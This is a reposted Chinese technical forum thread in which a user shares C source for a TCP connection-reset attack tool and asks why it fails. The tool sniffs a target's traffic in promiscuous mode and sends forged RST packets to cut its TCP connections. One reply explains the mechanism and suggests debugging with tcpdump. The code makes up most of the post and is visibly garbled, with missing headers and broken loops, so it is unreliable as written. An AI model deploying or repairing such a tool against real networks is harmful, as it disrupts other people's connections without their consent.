当前位置:  技术问答>linux和unix

大家给看看下面这个攻击程序吧!

    来源: 互联网  发布时间:2015-04-01

    本文导语:  据说是若被攻击IP位于同网段,则断开它与外界的所有tcp连接若为远程主机,则断开它与本网段的所有tcp连接。本工具可以用来对付大白天搜proxy的机器,前提是泥知道哪台机器在搜,且该机器位于同网段, 可我用自己...

据说是若被攻击IP位于同网段,则断开它与外界的所有tcp连接若为远程主机,则断开它与本网段的所有tcp连接。本工具可以用来对付大白天搜proxy的机器,前提是泥知道哪台机器在搜,且该机器位于同网段, 可我用自己的两台机器互相攻了一下好像没什么反应?大家给分析一下她到底在干吗吧?


#include        
#include        
#include        
#include        
#include        
#include        
#include        
#include        
#include        
#include        
#include        
#define          __FAVOR_BSD
#include        
#define         IP_TCP          6
#define         PACKET_SIZE     4096
struct pseudohdr                                // pseudo tcp header
{
u_long saddr;
u_long daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};

struct ip_packet
{
struct iphdr ipheader;
struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for (i = 0;i > 1);i ++)
value += data[i];
if ((length & 1) == 1)
value += (data[i]  16);
return(~value);
}

void    leave();
int     fd_recv = -1, fd_send = -1;
struct  ifreq   ifr, ifr_old;

main(int argc,char *argv[])
{
char device[] = "eth0";
u_char buf_recv[PACKET_SIZE];
struct ip_packet buf_send;
struct pseudohdr pseudoheader;
struct iphdr    * ip;
struct tcphdr   * tcp;
struct in_addr  in;
u_long ips;
int i, j, k;
int from_len, datalen;
struct sockaddr from; struct sockaddr_in to;

if (argc th_flags & TH_ACK ) == 0) goto AGAIN;
in.s_addr = ip->daddr;
printf("%s:%d to %s:%d listened, ", argv[1],
ntohs(tcp->th_sport), inet_ntoa(in),
ntohs(tcp->th_dport) );
if ( (fd_send = socket( AF_INET,
SOCK_RAW,IPPROTO_RAW)) == -1) {
perror("raw socket error");
exit(-1);
}
bzero((char *)&buf_send, sizeof(struct ip_packet));
/*FAKE TCP HEADER*/
buf_send.tcpheader.th_sport = tcp->th_dport;
buf_send.tcpheader.th_dport = tcp->th_sport;
buf_send.tcpheader.th_seq = tcp->th_ack;
buf_send.tcpheader.th_ack = tcp->th_seq;
buf_send.tcpheader.th_x2 = 0;
buf_send.tcpheader.th_off = 0x50;
buf_send.tcpheader.th_flags = TH_RST;
buf_send.tcpheader.th_win= htons(2048);
buf_send.tcpheader.th_sum= 0;
buf_send.tcpheader.th_urp= 0;
/*FAKE IP HEADER*/
buf_send.ipheader.version = 4;
buf_send.ipheader.ihl = 5;
buf_send.ipheader.tos = 0;
buf_send.ipheader.tot_len = htons(0x28);
buf_send.ipheader.id = 0x1234;
buf_send.ipheader.frag_off = 0;
buf_send.ipheader.ttl = 0xff;
buf_send.ipheader.protocol = IP_TCP;
buf_send.ipheader.check = 0;
buf_send.ipheader.saddr = ip->daddr;
buf_send.ipheader.daddr = ip->saddr;
/*TCP CHECK SUM*/
bzero(&pseudoheader, 12 + sizeof(struct tcphdr));
pseudoheader.saddr = ip->daddr;
pseudoheader.daddr = ip->saddr;
pseudoheader.protocol = 6;
pseudoheader.length = htons(sizeof(struct tcphdr));
bcopy(  (char *) &buf_send.tcpheader,
(char *) &pseudoheader.tcpheader,
sizeof(struct tcphdr) );
buf_send.tcpheader.th_sum = checksum(
(u_short *) &pseudoheader,
12+sizeof(struct tcphdr) );

to.sin_family = AF_INET;
to.sin_addr.s_addr = ips;
k = sendto( fd_send, (char *)& buf_send, 40, 0,
(struct sockaddr *)&to,
sizeof(struct sockaddr) );
if (k  0) close(fd_send);
printf("process terminamted.n");
exit(0);
}

|
搂主在做这方面的研究么?少见少见阿
大体上看了一下这段程序。
这个程序用命令行参数作为攻击对象,首先将自己的网卡设置成混杂模式,然后开始监听攻击对象的数据包,如果监听到的数据包满足:是IP包,而且是TCP的ACK包时,就发送一个RST包来重置连接,来达到断开连接的目的。如果程序退出,就让网卡退出混杂模式

如果你想找错的化,可以在你的机器上和目标机器上用tcpdump来抓一下包,看看你的伪造包到底发没发给目的主机,如果是收到了,可能是包的结构不对。

由于我也是初学,所以也就理解了这么多。
TCP/IP协议也是我以后的方向,希望能够多多交流。
我的QQ:49462335

    
 
 

您可能感兴趣的文章:

  • 帮我看看邮件服务器是不是受到攻击了?谢谢。
  • CSS属性参考手册 iis7站长之家
  • JSP程序出错,请给看看,谢了-----resin服务器
  • 看看程序错在那里?
  • 不能运行编译出来的程序,请大家帮忙看看
  • 哪位大侠帮我看看这个程序。
  • 想找些鼠标和键盘的驱动源程序看看,去哪找啊?
  • 帮我看看这道程序题目
  • 关于telnetd程序移植的问题,请了解Unix telnet过程的大侠帮忙看看
  • 请帮我看看下面的程序
  • 哪位大哥知道如何将rtf文件转化成html文件,请赐教,最好给个程序看看!多谢,多谢,120分奉上!!!
  • 我想找一些纯OO的jsp完整程序看看
  • 看看这个程序
  • 我要下载LINUX安装程序,不知道该下那个,大家看看
  • 谁能帮我看看这段程序,拜托了
  • 那位大侠给我一个线程池的例子程序看看
  • 看看这两个小程序
  • (在线等)关于主程序和线程的执行顺序。。。大家帮我看看
  • 高手们帮我看看这段程序??
  • 深圳的程序员朋友请进来看看!下周一结分
  • 小弟初入java这一行,很想看看已经编好的源程序,愿意指教的请发送到samgundam@sina.com!谢谢
  • 看看这个小程序错误在哪里,多谢了!!
  •  
    本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
    本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • 简单!看看这个方法!简单!看看这个方法!
  • linux高手看看
  • 好消息,近来看看......
  • 我想看看有关Linux和Unix的源码,有什么好的建议
  • 想看看linux的内核源代码!从哪里开始!给点建议!!
  • 我初学JAVA,大家愿意交朋友的进来看看!留QQ的给分啊!
  • 关于全选的问题大家帮忙看看~
  • jsp论坛,大家快去看看,解决树形目录http://52jsp.126.com
  • 各位大侠,小侠,快过来看看。
  • 看过操作系统设计与实现的进来看看
  • 请进来看看!!
  • 帮我看看下面这条语句??
  • 大家去软件工程论坛里面去看看那,我发了700分的问题!!
  • 建议去这里看看,有好多基本的重要知识! 绝对值得一看!
  • 大家帮我看看,我好把贴子结了,里面有100分。。。。。。
  • 到 http://www.xbit2008.com 看看技术文章把! 我写的或从网上摘的!
  • 虚心请教问题,帮我看看好吗?
  • 我刚申请的域名rootsafe.com大家看看怎么样? up有分!
  • 帮我看看是不是被黑了?
  • 我的Solaris启动不了了,请帮忙看看


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3